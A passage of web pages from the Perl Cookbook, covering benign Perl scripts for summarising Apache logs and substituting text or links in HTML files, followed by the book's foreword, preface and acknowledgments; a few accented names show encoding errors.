Parse the error log yourself with regular expressions, or use the Logfile modules from CPAN.

Discussion

Example 20.9 is a sample report generator for an Apache weblog.

Example 20.9: sumwww

#!/usr/bin/perl -w
# sumwww - summarize web server log activity

$lastdate = "";
daily_logs();
summary();
exit;

# read CLF files and tally hits from the host and to the URL
sub daily_logs {
    while (<>) {
        ($type, $what) = /"(GET|POST)\s+(\S+?) \S+"/ or next;
        ($host, undef, undef, $datetime) = split;
        ($bytes) = /\s(\d+)\s*$/ or next;
        ($date)  = ($datetime =~ /\[([^:]*)/);
        $posts  += ($type eq POST);
        $home++ if m, / ,;
        if ($date ne $lastdate) {
            if ($lastdate) { write_report()     }
            else           { $lastdate = $date  }
        }
        $count++;
        $hosts{$host}++;
        $what{$what}++;
        $bytesum += $bytes;
    }
    write_report() if $count;
}

# use *typeglob aliasing of global variables for cheap copy
sub summary  {
    $lastdate = "Grand Total";
    *count   = *sumcount;
    *bytesum = *bytesumsum;
    *hosts   = *allhosts;
    *posts   = *allposts;
    *what    = *allwhat;
    *home    = *allhome;
    write;
}

# display the tallies of hosts and URLs, using formats
sub write_report {
    write;

    # add to summary data
    $lastdate    = $date;
    $sumcount   += $count;
    $bytesumsum += $bytesum;
    $allposts   += $posts;
    $allhome    += $home;

    # reset daily data
    $posts = $count = $bytesum = $home = 0;
    @allwhat{keys %what}   = keys %what;
    @allhosts{keys %hosts} = keys %hosts;
    %hosts = %what = ();
}

format STDOUT_TOP =
@|||||||||| @|||||| @||||||| @||||||| @|||||| @|||||| @|||||||||||||
"Date",     "Hosts", "Accesses", "Unidocs", "POST", "Home", "Bytes"
----------- ------- -------- -------- ------- ------- --------------
.

format STDOUT =
@>>>>>>>>>> @>>>>>> @>>>>>>> @>>>>>>> @>>>>>> @>>>>>> @>>>>>>>>>>>>>
$lastdate,  scalar(keys %hosts),
            $count, scalar(keys %what),
                             $posts,  $home,  $bytesum
.

Here's sample output from that program:

    Date      Hosts  Accesses Unidocs   POST    Home       Bytes
----------- ------- -------- -------- ------- ------- --------------
19/May/1998     353     6447     3074     352      51       16058246
20/May/1998    1938    23868     4288     972     350       61879643
21/May/1998    1775    27872     6596    1064     376       64613798
22/May/1998    1680    21402     4467     735     285       52437374
23/May/1998    1128    21260     4944     592     186       55623059
Grand Total    6050   100849    10090    3715    1248      250612120

Use the Logfile::Apache module from CPAN, shown in Example 20.10, to write a similar, but less specific, program. This module is distributed with other Logfile modules in a single Logfile distribution (Logfile-0.115.tar.gz at the time of writing).

Example 20.10: aprept

#!/usr/bin/perl -w
# aprept - report on Apache logs

use Logfile::Apache;

$l = Logfile::Apache->new(
    File  => "-",                   # STDIN
    Group => [ Domain, File ]);

$l->report(Group => Domain, Sort => Records);
$l->report(Group => File,   List => [Bytes,Records]);

The new constructor reads a log file and builds indices internally. Supply a filename with the parameter named File and the fields to index in the Group parameter. The possible fields are Date (date request), Hour (time of day the request was received), File (file requested), User (username parsed from request), Host (hostname requesting the document), and Domain (Host translated into "France", "Germany", etc.).

To produce a report on STDOUT, call the report method. Give it the index to use with the Group parameter, and optionally say how to sort (Records is by number of hits, Bytes is by number of bytes transferred) or how to further break it down (by number of bytes or number of records).

Here's some sample output:

Domain                  Records
===============================
US Commercial        222 38.47%
US Educational       115 19.93%
Network               93 16.12%
Unresolved            54  9.36%
Australia             48  8.32%
Canada                20  3.47%
Mexico                 8  1.39%
United Kingdom         6  1.04%

File                               Bytes          Records
=========================================================
/                           13008  0.89%         6  1.04%
/cgi-bin/MxScreen           11870  0.81%         2  0.35%
/cgi-bin/pickcards          39431  2.70%        48  8.32%
/deckmaster                143793  9.83%        21  3.64%
/deckmaster/admin           54447  3.72%         3  0.52%

See Also

The documentation for the CPAN module Logfile::Apache; perlform (1) and the section on "Formats" in Chapter 2 of Programming Perl

Previous: 20.12. Parsing a Web Server Log File | Perl Cookbook | Next: 20.14. Program: htmlsub
20.12. Parsing a Web Server Log File | Book Index | 20.14. Program: htmlsub


Recipe 20.14. Program: htmlsub

Perl CookbookSearch this book

20.14. Program: htmlsub

This program makes substitutions in HTML files so that the changes only happen in normal text. If you had the file index.html that contained:

<HTML><HEAD><TITLE>Hi!</TITLE></HEAD><BODY>
<H1>Welcome to Scooby World!</H1>
I have <A HREF="pictures.html">pictures</A> of the crazy dog
himself.  Here's one!<P>
<IMG SRC="scooby.jpg" ALT="Good doggy!"><P>
<BLINK>He's my hero!</BLINK>  I would like to meet him some day,
and get my picture taken with him.<P>
P.S. I am deathly ill.  <A HREF="shergold.html">Please send
cards</A>.
</BODY></HTML>

You can use htmlsub change every occurrence of the word "picture" in the document text to read "photo". It prints the new document on STDOUT:

% htmlsub picture photo scooby.html
<HTML><HEAD><TITLE>Hi!</TITLE></HEAD><BODY>
<H1>Welcome to Scooby World!</H1>
I have <A HREF="pictures.html">photos</A> of the crazy dog
himself.  Here's one!<P>
<IMG SRC="scooby.jpg" ALT="Good doggy!"><P>
<BLINK>He's my hero!</BLINK>  I would like to meet him some day,
and get my photo taken with him.<P>
P.S. I am deathly ill.  <A HREF="shergold.html">Please send
cards</A>.
</BODY></HTML>

The program is shown in Example 20.11.

Example 20.11: htmlsub

#!/usr/bin/perl -w
# htmlsub - make substitutions in normal text of HTML files
# from Gisle Aas <gisle@aas.no>

sub usage { die "Usage: $0 <from> <to> <file>...\n" }

my $from = shift or usage;
my $to   = shift or usage;
usage unless @ARGV;

# Build the HTML::Filter subclass to do the substituting.

package MyFilter;
require HTML::Filter;
@ISA=qw(HTML::Filter);
use HTML::Entities qw(decode_entities encode_entities);

sub text
{
   my $self = shift;
   my $text = decode_entities($_[0]);
   $text =~ s/\Q$from/$to/go;       # most important line
   $self->SUPER::text(encode_entities($text));
}

# Now use the class.

package main;
foreach (@ARGV) {
    MyFilter->new->parse_file($_);
}

Previous: 20.13. Processing Server Logs | Perl Cookbook | Next: 20.15. Program: hrefsub
20.13. Processing Server Logs | Book Index | 20.15. Program: hrefsub


Recipe 20.15. Program: hrefsub

Perl CookbookSearch this book

20.15. Program: hrefsub

hrefsub makes substitutions in HTML files, so that the changes only apply to the text in HREF fields of <A HREF="..."> tags. For instance, if you had the scooby.html file from the previous example, and you've moved shergold.html to be cards.html, you need simply say:

% hrefsub shergold.html cards.html scooby.html
<HTML><HEAD><TITLE>Hi!</TITLE></HEAD><BODY>
<H1>Welcome to Scooby World!</H1>
I have <A HREF="pictures.html">pictures</A> of the crazy dog
himself.  Here's one!<P>
<IMG SRC="scooby.jpg" ALT="Good doggy!"><P>
<BLINK>He's my hero!</BLINK>  I would like to meet him some day,
and get my picture taken with him.<P>
P.S. I am deathly ill.  <a href="cards.html">Please send
cards</A>.
</BODY></HTML>

The HTML::Filter manual page has a BUGS section that says:

Comments in declarations are removed from the declarations and then inserted as separate comments after the declaration. If you turn on strict_comment(), then comments with embedded "-\|-" are split into multiple comments.

This version of hrefsub will always lowercase the <a> and the attribute names within this tag when substitution occurs. If $foo is a multiword string, then the text given to MyFilter->text may be broken such that these words do not come together; i.e., the substitution does not work. There should probably be a new option to HTML::Parser to make it not return text until the whole segment has been seen. Also, some people may not be happy with having their 8-bit Latin-1 characters replaced by ugly entities, so htmlsub does that, too.

Example 20.12: hrefsub

#!/usr/bin/perl -w
# hrefsub - make substitutions in <A HREF="..."> fields of HTML files
# from Gisle Aas <gisle@aas.no>

sub usage { die "Usage: $0 <from> <to> <file>...\n" }

my $from = shift or usage;
my $to   = shift or usage;
usage unless @ARGV;

# The HTML::Filter subclass to do the substitution.

package MyFilter;
require HTML::Filter;
@ISA=qw(HTML::Filter);
use HTML::Entities qw(encode_entities);

sub start {
   my($self, $tag, $attr, $attrseq, $orig) = @_;
   if ($tag eq 'a' && exists $attr->{href}) {
           if ($attr->{href} =~ s/\Q$from/$to/g) {
               # must reconstruct the start tag based on $tag and $attr.
               # wish we instead were told the extent of the 'href' value
               # in $orig.
               my $tmp = "<$tag";
               for (@$attrseq) {
                   my $encoded = encode_entities($attr->{$_});
                   $tmp .= qq( $_="$encoded ");
               }
               $tmp .= ">";
               $self->output($tmp);
               return;
           }
   }
   $self->output($orig);
}

# Now use the class.

package main;
foreach (@ARGV) {
        MyFilter->new->parse_file($_);
}

Previous: 20.14. Program: htmlsub | Perl Cookbook
20.14. Program: htmlsub | Book Index


Perl Cookbook

By Tom Christiansen & Nathan Torkington; ISBN 1-56592-243-3, 794 pages.
First Edition, August 1998.
(See the catalog page for this book.)

Search the text of Perl Cookbook.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Foreword
Preface
Chapter 1: Strings
Chapter 2: Numbers
Chapter 3: Dates and Times
Chapter 4: Arrays
Chapter 5: Hashes
Chapter 6: Pattern Matching
Chapter 7: File Access
Chapter 8: File Contents
Chapter 9: Directories
Chapter 10: Subroutines
Chapter 11: References and Records
Chapter 12: Packages, Libraries, and Modules
Chapter 13: Classes, Objects, and Ties
Chapter 14: Database Access
Chapter 15: User Interfaces
Chapter 16: Process Management and Communication
Chapter 17: Sockets
Chapter 18: Internet Services
Chapter 19: CGI Programming
Chapter 20: Web Automation

The Perl CD Bookshelf Navigation The Perl CD BookshelfPerl in a NutshellLearning PerlLearning Perl on Win32 SystemsProgramming PerlAdvanced Perl Programming

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Foreword

They say that it's easy to get trapped by a metaphor. But some metaphors are so magnificent that you don't mind getting trapped in them. Perhaps the cooking metaphor is one such, at least in this case. The only problem I have with it is a personal one - I feel a bit like Betty Crocker's mother. The work in question is so monumental that anything I could say here would be either redundant or irrelevant.

However, that never stopped me before.

Cooking is perhaps the humblest of the arts; but to me humility is a strength, not a weakness. Great artists have always had to serve their artistic medium - great cooks just do so literally. And the more humble the medium, the more humble the artist must be in order to lift the medium beyond the mundane. Food and language are both humble media, consisting as they do of an overwhelming profusion of seemingly unrelated and unruly ingredients. And yet, in the hands of someone with a bit of creativity and discipline, things like potatoes, pasta, and Perl are the basis of works of art that "hit the spot" in a most satisfying way, not merely getting the job done, but doing so in a way that makes your journey through life a little more pleasant.

Cooking is also one of the oldest of the arts. Some modern artists would have you believe that so-called ephemeral art is a recent invention, but cooking has always been an ephemeral art. We can try to preserve our art, make it last a little longer, but even the food we bury with our pharoahs gets dug up eventually. So too, much of our Perl programming is ephemeral. This aspect of Perl cuisine has been much maligned. You can call it quick-and-dirty if you like, but there are billions of dollars out there riding on the supposition that fast food is not necessarily dirty food. (We hope.)

Easy things should be easy, and hard things should be possible. For every fast-food recipe, there are countless slow-food recipes. One of the advantages of living in California is that I have ready access to almost every national cuisine ever invented. But even within a given culture, There's More Than One Way To Do It. It's said in Russia that there are more recipes for borscht than there are cooks, and I believe it. My mom's recipe doesn't even have any beets in it! But that's okay, and it's more than okay. Borscht is a cultural differentiator, and different cultures are interesting, and educational, and useful, and exciting.

So you won't always find Tom and Nat doing things in this book the way I would do them. Sometimes they don't even do things the same way as each other. That's okay - again, this is a strength, not a weakness. I have to confess that I learned quite a few things I didn't know before I read this book. What's more, I'm quite confident that I still don't know it all. And I hope I don't any time soon. I often talk about Perl culture as if it were a single, static entity, but there are in fact many healthy Perl subcultures, not to mention sub-subcultures and supercultures and circumcultures in every conceivable combination, all inheriting attributes and methods from each other. It can get confusing. Hey, I'm confused most of the time.

So the essence of a cookbook like this is not to cook for you (it can't), or even to teach you how to cook (though it helps), but rather to pass on various bits of culture that have been found useful, and perhaps to filter out other bits of "culture" that grew in the refrigerator when no one was looking. You in turn will pass on some of these ideas to other people, filtering them through your own experiences and tastes, your creativity and discipline. You'll come up with your own recipes to pass to your children. Just don't be surprised when they in turn cook up some recipes of their own, and ask you what you think. Try not to make a face.

I commend to you these recipes, over which I've made very few faces.

- Larry Wall
June, 1998

Perl Cookbook | Next: Preface
Book Index | Preface


Preface

Contents:
What's in This Book
Platform Notes
Other Books
Conventions Used in This Book
We'd Like to Hear from You
Acknowledgments

The investment group eyed the entrepreneur with caution, their expressions flickering from scepticism to intrigue and back again.

"Your bold plan holds promise," their spokesman conceded. "But it is very costly and entirely speculative. Our mathematicians mistrust your figures. Why should we entrust our money into your hands? What do you know that we do not?"

"For one thing," he replied, "I know how to balance an egg on its point without outside support. Do you?" And with that, the entrepreneur reached into his satchel and delicately withdrew a fresh hen's egg. He handed over the egg to the financial tycoons, who passed it amongst themselves trying to carry out the simple task. At last they gave up. In exasperation they declared, "What you ask is impossible! No man can balance an egg on its point."

So the entrepreneur took back the egg from the annoyed businessmen and placed it upon the fine oak table, holding it so that its point faced down. Lightly but firmly, he pushed down on the egg with just enough force to crush in its bottom about half an inch. When he took his hand away, the egg stood there on its own, somewhat messy, but definitely balanced. "Was that impossible?" he asked.

"It's just a trick," cried the businessmen. "Once you know how, anyone can do it."

"True enough," came the retort. "But the same can be said for anything. Before you know how, it seems an impossibility. Once the way is revealed, it's so simple that you wonder why you never thought of it that way before. Let me show you that easy way, so others may easily follow. Will you trust me?"

Eventually convinced that this entrepreneur might possibly have something to show them, the skeptical venture capitalists funded his project. From the tiny Andalusian port of Palos de Moguer set forth the Ni觓, the Pinta, and the Santa Mar蝍, led by an entrepreneur with a slightly broken egg and his own ideas: Christopher Columbus.

Many have since followed.

Approaching a programming problem can be like balancing Columbus's egg. If no one shows you how, you may sit forever perplexed, watching the egg - and your program - fall over again and again, no closer to the Indies than when you began. This is especially true in a language as idiomatic as Perl.

This book had its genesis in two chapters of the first edition of Programming Perl. Chapters 5 and 6 covered "Common Tasks in Perl" and "Real Perl Programs." Those chapters were highly valued by readers because they showed real applications of the language - how to solve day-to-day tasks using Perl. While revising the Camel, we realized that there was no way to do proper justice to those chapters without publishing the new edition on onionskin paper or in multiple volumes. The book you hold in your hands, published two years after the revised Camel, tries to do proper justice to those chapters. We trust it has been worth the wait.

This book isn't meant to be a complete reference book for Perl, although we do describe some parts of Perl previously undocumented. Having a copy of Programming Perl handy will allow you to look up the exact definition of an operator, keyword, or function. Alternatively, every Perl installation comes with over 1,000 pages of searchable, online reference materials. If those aren't where you can get at them, see your system administrator.

Neither is this book meant to be a bare-bones introduction for programmers who've never seen Perl before. That's what Learning Perl, a kinder and gentler introduction to Perl, is designed for. (If you're on a Microsoft system, you'll probably prefer the Learning Perl on Win32 Systems version.)

Instead, this is a book for learning more Perl. Neither a reference book nor a tutorial book, the Perl Cookbook serves as a companion book to both. It's for people who already know the basics but are wondering how to mix all those ingredients together into a complete program. Spread across 20 chapters and more than 300 focused topic areas affectionately called recipes, this book contains thousands of solutions to everyday challenges encountered by novice and journeyman alike.

We tried hard to make this book useful for both random and sequential access. Each recipe is self-contained, but has a list of references at the end should you need further information on the topic. We've tried to put the simpler, more common recipes toward the front of each chapter and the simpler chapters toward the front of the book. Perl novices should find that these recipes about Perl's basic data types and operators are just what they're looking for. We gradually work our way through topic areas and solutions more geared toward the journeyman Perl programmer. Every now and then we include material that should inspire even the master Perl programmer.

Each chapter begins with an overview of that chapter's topic. This introduction is followed by the main body of each chapter, its recipes. In the spirit of the Perl slogan of TMTOWTDI, "There's more than one way to do it," most recipes show several different techniques for solving the same or closely related problems. These recipes range from short-but-sweet solutions to in-depth mini-tutorials. Where more than one technique is given, we often show costs and benefits of each approach.

As with a traditional cookbook, we expect you to access this book more or less at random. When you want to learn how to do something, you'll look up its recipe. Even if the exact solutions presented don't fit your problem exactly, they'll give you ideas about possible approaches.

Each chapter concludes with one or more complete programs. Although some recipes already include small programs, these longer applications highlight the chapter's principal focus and combine techniques from other chapters, just as any real-world program would. All are useful, and many are used on a daily basis. Some even helped us put this book together.

What's in This Book

The first quarter of the book addresses Perl's basic data types, spread over five chapters. Chapter 1, Strings, covers matters like accessing substrings, expanding function calls in strings, and parsing comma-separated data. Chapter 2, Numbers, tackles oddities of floating point representation, placing commas in numbers, and pseudo-random numbers. Chapter 3, Dates and Times, demonstrates conversions between numeric and string date formats and using timers. Chapter 4, Arrays, covers everything relating to list and array manipulation, including finding unique elements in a list, efficiently sorting lists, and randomizing them. Chapter 5, Hashes, concludes the basics with a demonstration of the most useful data type, the associative array. The chapter shows how to access a hash in insertion order, how to sort a hash by value, and how to have multiple values per key.

Chapter 6, Pattern Matching, is by far the largest chapter. Recipes include converting a shell wildcard into a pattern, matching letters or words, matching multiple lines, avoiding greediness, and matching strings that are close to but not exactly what you're looking for. Although this chapter is the longest in the book, it could easily have been longer still - every chapter contains uses of regular expressions. It's part of what makes Perl Perl.

The next three chapters cover the filesystem. Chapter 7, File Access, shows opening files, locking them for concurrent access, modifying them in place, and storing filehandles in variables. Chapter 8, File Contents, discusses watching the end of a growing file, reading a particular line from a file, and random access binary I/O. Finally, in Chapter 9, Directories, we show techniques to copy, move, or delete a file, manipulate a file's timestamps, and recursively process all files in a directory.

Chapters 10 through 13 focus on making your program flexible and powerful. Chapter 10, Subroutines, includes recipes on creating persistent local variables, passing parameters by reference, calling functions indirectly, and handling exceptions. Chapter 11, References and Records, is about data structures; basic manipulation of references to data and functions are demonstrated. Later recipes show how to create record-like data structures and how to save and restore these structures from permanent storage. Chapter 12, Packages, Libraries, and Modules, concerns breaking up your program into separate files; we discuss how to make variables and functions private to a module, replace built-ins, trap calls to missing modules, and use the h2ph and h2xs tools to interact with C and C++ code. Lastly, Chapter 13, Classes, Objects, and Ties, covers the fundamentals of building your own object-based module to create user-defined types, complete with constructors, destructors, and inheritance. Other recipes show examples of circular data structures, operator overloading, and tied data types.

The next two chapters are about interfaces: one to databases, the other to display devices. Chapter 14, Database Access, includes techniques for manipulating indexed text files, locking DBM files and storing data in them, and a demonstration of Perl's SQL interface. Chapter 15, User Interfaces, covers topics such as clearing the screen, processing command-line switches, single-character input, moving the cursor using termcap and curses, and platform independent graphical programming using Tk.

The last quarter of the book is devoted to interacting with other programs and services. Chapter 16, Process Management and Communication, is about running other programs and collecting their output, handling zombie processes, named pipes, signal management, and sharing variables between running programs. Chapter 17, Sockets, shows how to establish stream connections or use datagrams to create low-level networking applications for client-server programming. Chapter 18, Internet Services, is about higher-level protocols such as mail, FTP, Usenet news, and Telnet. Chapter 19, CGI Programming, contains recipes for processing web forms, trapping their errors, avoiding shell escapes for security, managing cookies, shopping cart techniques, and saving forms to files or pipes. The final chapter of the book, Chapter 20, Web Automation , covers non-interactive uses of the Web. Recipes include fetching a URL, automating form submissions in a script, extracting URLs from a web page, removing HTML tags, finding fresh or stale links, and processing server log files.

Previous: Foreword | Perl Cookbook | Next: Platform Notes
Foreword | Book Index | Platform Notes


[Preface] Platform Notes

Perl CookbookSearch this book

Platform Notes

This book was developed using Perl release 5.004_04. That means major release 5, minor release 4, and patch level 4. We tested most programs and examples under BSD, Linux, and SunOS, but that doesn't mean they'll only work on those systems. Perl was designed for platform independence. When you use Perl as a general-purpose programming language, employing basic operations like variables, patterns, subroutines, and high-level I/O, your program should work the same everywhere that Perl runs - which is just about everywhere. The first two thirds of this book uses Perl for general-purpose programming.

Perl was originally conceived as a high-level, cross-platform language for systems programming. Although it has long since expanded beyond its original domain, Perl continues to be heavily used for systems programming, both on its native Unix systems and elsewhere. Most recipes in Chapters 14 through 18 deal with classic systems programming. For maximum portability in this area, we've mainly focused on open systems as defined by POSIX, the Portable Operating System Interface, which includes nearly every form of Unix and numerous other systems as well. Most recipes should run with little or no modification on any POSIX system.

You can still use Perl for systems programming work even on non-POSIX systems by using vendor-specific modules, but these are not covered in this book. That's because they're not portable - and to be perfectly honest, because the authors have no such systems at their disposal. Consult the documentation that came with your port of Perl for any proprietary modules that may have been included.

But don't worry. Many recipes for systems programming should work on non-POSIX systems as well, especially those dealing with databases, networking, and web interaction. That's because the modules used for those areas hide platform dependencies. The principal exception is those few recipes and programs that rely upon multitasking constructs, notably the powerful fork function, standard on POSIX systems, but few others.

When we needed structured files, we picked the convenient Unix /etc/passwd database; when we needed a text file to read, we picked /etc/motd ; and when we needed a program to produce output, we picked who (1). These were merely chosen to illustrate the principles - the principles work whether or not your system has these files and programs.

Previous: What's in This Book | Perl Cookbook | Next: Other Books
What's in This Book | Book Index | Other Books


[Preface] Other Books

Perl CookbookSearch this book

Other Books

If you'd like to learn more about Perl, here are some related publications that we (somewhat sheepishly) recommend:

Learning Perl, by Randal Schwartz and Tom Christiansen; O'Reilly & Associates (2nd Edition, 1997).

A tutorial introduction to Perl for programmers interested in learning Perl from scratch. It's a good starting point if this book is over your head. Erik Olson refurbished this book for Windows systems, called Learning Perl on Win32 Systems.

Programming Perl, by Larry Wall, Tom Christiansen, and Randal Schwartz; O'Reilly & Associates (2nd Edition, 1996).

This book is indispensable for every Perl programmer. Coauthored by Perl's creator, this classic reference is the authoritative guide to Perl's syntax, functions, modules, references, invocation options, and much more.

Advanced Perl Programming, by Sriram Srinivasan; O'Reilly & Associates (1997).

A tutorial for advanced regular expressions, network programming, GUI programming with Tk, and Perl internals. If the Cookbook isn't challenging you, buy a copy of the Panther.

Mastering Regular Expressions, by Jeffrey Friedl; O'Reilly & Associates (1997).

This book is dedicated to explaining regular expressions from a practical perspective. It not only covers general regular expressions and Perl patterns very well, it also compares and contrasts these with those used in other popular languages.

How to Set Up and Maintain a Web Site, by Lincoln Stein; Addison-Wesley (2nd Edition, 1997).

If you're trying to manage a web site, configure servers, and write CGI scripts, this is the book for you. Written by the author of Perl's CGI.pm module, this book really does cover everything.

Perl: The Programmer's Companion, by Nigel Chapman; John Wiley & Sons (1998).

This small, delightful book is just the book for the experienced programmer wanting to learn Perl. It is not only free of technical errors, it is truly a pleasure to read. It is about Perl as a serious programming language.

Effective Perl Programming, by Joseph N. Hall with Randal Schwartz; Addison-Wesley (1998).

This book includes thorough coverage of Perl's object model, and how to develop modules and contribute them to CPAN. It covers the debugger particularly well.

In addition to the Perl-related publications listed here, the following books came in handy when writing this book. They were used for reference, consultation, and inspiration.

The Art of Computer Programming, by Donald Knuth, Volumes I-III: "Fundamental Algorithms," "Seminumerical Algorithms," and "Sorting and Searching"; Addison-Wesley (3rd Edition, 1997).

Introduction to Algorithms, by Thomas H. Cormen, Charles E. Leiserson, and Ronald L. Rivest; MIT Press and McGraw-Hill (1990).

Algorithms in C, by Robert Sedgewick; Addison-Wesley (1992).

The Art of Mathematics, by Jerry P. King; Plenum (1992).

The Elements of Programming Style, by Brian W. Kernighan and P.J. Plauger; McGraw-Hill (1988).

The UNIX Programming Environment, by Brian W. Kernighan and Rob Pike; Prentice-Hall (1984).

POSIX Programmer's Guide, by Donald Lewine; O'Reilly & Associates (1991).

Advanced Programming in the UNIX Environment, by W. Richard Stevens; Addison-Wesley (1992).

TCP/IP Illustrated, by W. Richard Stevens, et al., Volumes I-III; Addison-Wesley (1992-1996).

Web Client Programming with Perl, by Clinton Wong; O'Reilly & Associates (1997).

HTML: The Definitive Guide, by Chuck Musciano and Bill Kennedy; O'Reilly & Associates (3rd Edition, 1998).

The New Fowler's Modern English Usage, edited by R.W. Burchfield; Oxford (3rd Edition, 1996).

Official Guide to Programming with CGI.pm, by Lincoln Stein; John Wiley & Sons (1997).

Previous: Platform Notes | Perl Cookbook | Next: Conventions Used in This Book
Platform Notes | Book Index | Conventions Used in This Book


[Preface] Conventions Used in This Book

Perl CookbookSearch this book

Conventions Used in This Book

Programming Conventions

We are firm believers in using Perl's -w command-line option and its use strict pragma in every non-trivial program. We start nearly all our longer programs with:

#!/usr/bin/perl -w
use strict;

We give lots of examples, most of which are pieces of code that should go into a larger program. Some examples are complete programs, which you can recognize because they begin with a #! line.

Still other examples are things to be typed on a command line. We've used % to indicate the shell prompt:

% perl -e 'print "Hello, world.\n"'
Hello, world.

This style is representative of a standard Unix command line. Quoting and wildcard conventions on other systems vary. For example, most standard command-line interpreters under DOS and VMS require double quotes instead of single ones to group arguments with spaces or wildcards in them. Adjust accordingly.

Typesetting Conventions

The following typographic conventions are used in this book:

Italic

is used for filenames, command names, and URLs. It is also used to define new terms when they first appear in the text.

Bold

is used for command-line options.

Constant Width

is used for function and method names and their arguments; in examples to show the text that you enter literally; and in regular text to show any literal code.

Constant Bold Italic

is used in examples to show output produced.

Documentation Conventions

The most up-to-date and complete documentation about Perl is included with Perl itself. If typeset and printed, this massive anthology would use more than a thousand pages of printer pager, greatly contributing to global deforestation. Fortunately, you don't have to print it out because it's available in a convenient and searchable electronic form.

When we refer to a "manpage" in this book, we're talking about this set of online manuals. The name is purely a convention; you don't need a Unix-style man program to read them. The perldoc command distributed with Perl also works, and you may even have the manpages installed as HTML pages, especially on non-Unix systems. Plus, once you know where they're installed, you can grep them directly.[1]The HTML version of the manpages is available on the Web at http://www.perl.com/CPAN/doc/manual/html/.

[1] If your system doesn't have grep, use the tcgrep program supplied at the end of Chapter 6.

When we refer to non-Perl documentation, as in "See kill (2) in your system manual," this refers to the kill manpage from section 2 of the Unix Programmer's Manual (system calls). These won't be available on non-Unix systems, but that's probably okay, because you couldn't use them there anyway. If you really do need the documentation for a system call or library function, many organizations have put their manpages on the Web; a quick search of AltaVista for +crypt(3) +manual will find many copies.

Previous: Other Books | Perl Cookbook | Next: We'd Like to Hear from You
Other Books | Book Index | We'd Like to Hear from You


[Preface] We'd Like to Hear from You

Perl CookbookSearch this book

We'd Like to Hear from You

We have tested and verified the information in this book to the best of our ability, but you may find that features have changed (which may in fact resemble bugs). Please let us know about any errors you find, as well as your suggestions for future editions, by writing to:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in U.S. or Canada)
1-707-829-0515 (international/local)
1-707-829-0104 (fax)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

info@oreilly.com

To ask technical questions or comment on the book, send email to:

bookquestions@oreilly.com

We have a web site for the book, where we'll list errata and plans for future editions. Here you'll also find all the source code from the book available for download so you don't have to type it all in.

http://www.oreilly.com/catalog/cookbook/

Previous: Conventions Used in This Book | Perl Cookbook | Next: Acknowledgments
Conventions Used in This Book | Book Index | Acknowledgments


[Preface] Acknowledgments

Perl CookbookSearch this book

Acknowledgments

This book wouldn't exist but for a legion of people standing, knowing and unknowing, behind the authors. At the head of this legion would have to be our editor, Linda Mui, carrot on a stick in one hand and a hot poker in the other. She was great.

As the author of Perl, Larry Wall was our ultimate reality check. He made sure we weren't documenting things he was planning to change and helped out on wording and style.[2] If now and then you think you're hearing Larry's voice in this book, you probably are.

[2] And footnotes.

Larry's wife, Gloria, a literary critic by trade, shocked us by reading through every single word - and actually liking most of them. Together with Sharon Hopkins, resident Perl Poetess, she helped us rein in our admittedly nearly insatiable tendency to produce pretty prose sentences that could only be charitably described as lying somewhere between the inscrutably complex and the hopelessly arcane, eventually rendering the meandering muddle into something legible even to those whose native tongues were neither PDP-11 assembler nor Medi講al Spanish.

Our three most assiduous reviewers, Mark-Jason Dominus, Jon Orwant, and Abigail, have worked with us on this book nearly as long as we've been writing it. Their rigorous standards, fearsome intellects, and practical experience in Perl applications have been of invaluable assistance. Doug Edwards methodically stress-tested every piece of code from the first seven chapters of the book, finding subtle border cases no one else ever thought about. Other major reviewers include Andy Dougherty, Andy Oram, Brent Halsey, Bryan Buus, Gisle Aas, Graham Barr, Jeff Haemer, Jeffrey Friedl, Lincoln Stein, Mark Mielke, Martin Brech, Matthias Neeracher, Mike Stok, Nate Patwardhan, Paul Grassie, Peter Prymmer, Rapha蘬 Manfredi, and Rod Whitby.

And this is just the beginning. Part of what makes Perl fun is the sense of community and sharing it seems to engender. Many selfless individuals lent us their technical expertise. Some read through complete chapters in formal review. Others provided insightful answers to brief technical questions when we were stuck on something outside our own domain. A few even sent us code. Here's a partial list of these helpful people: Aaron Harsh, Ali Rayl, Alligator Descartes, Andrew Hume, Andrew Strebkov, Andy Wardley, Ashton MacAndrews, Ben Gertzfield, Benjamin Holzman, Brad Hughes, Chaim Frenkel, Charles Bailey, Chris Nandor, Clinton Wong, Dan Klein, Dan Sugalski, Daniel Grisinger, Dennis Taylor, Doug MacEachern, Douglas Davenport, Drew Eckhardt, Dylan Northrup, Eric Eisenhart, Eric Watt Forste, Greg Bacon, Gurusamy Sarathy, Henry Spencer, Jason Ornstein, Jason Stewart, Joel Noble, Jonathan Cohen, Jonathan Scott Duff, Josh Purinton, Julian Anderson, Keith Winstein, Ken Lunde, Kirby Hughes, Larry Rosler, Les Peters, Mark Hess, Mark James, Martin Brech, Mary Koutsky, Michael Parker, Nick Ing-Simmons, Paul Marquess, Peter Collinson, Peter Osel, Phil Beauchamp, Piers Cawley, Randal Schwartz, Rich Rauenzahn, Richard Allan, Rocco Caputo, Roderick Schertler, Roland Walker, Ronan Waide, Stephen Lidie, Steven Owens, Sullivan Beck, Tim Bunce, Todd Miller, Troy Denkinger, and Willy Grimm.

And let's not forget Perl itself, without which this book could never have been written. Appropriately enough, we used Perl to build endless small tools to aid in the production of this book. Perl tools converted our text in pod format into troff for displaying and review and into FrameMaker for production. Another Perl program ran syntax checks on every piece of code in the book. The Tk extension to Perl was used to build a graphical tool to shuffle around recipes using drag-and-drop. Beyond these, we also built innumerable smaller tools for tasks like checking RCS locks, finding duplicate words, detecting certain kinds of grammatical errors, managing mail folders with feedback from reviewers, creating program indices and tables of contents, and running text searches that crossed line boundaries or were restricted to certain sections - just to name a few. Some of these tools found their way into the same book they were used on.

Tom

Thanks first of all to Larry and Gloria for sacrificing some of their European vacation to groom the many nits out of this manuscript, and to my other friends and family - Bryan, Sharon, Brent, Todd, and Drew - for putting up with me over the last couple of years and being subjected to incessant proofreadings.

I'd like to thank Nathan for holding up despite the stress of his weekly drives, my piquant vegetarian cooking and wit, and his getting stuck researching the topics I so diligently avoided.

I'd like to thank those largely unsung titans in our field - Dennis, Linus, Kirk, Eric, and Rich - who were all willing to take the time to answer my niggling operating system and troff questions. Their wonderful advice and anecdotes aside, without their tremendous work in the field, this book could never have been written.

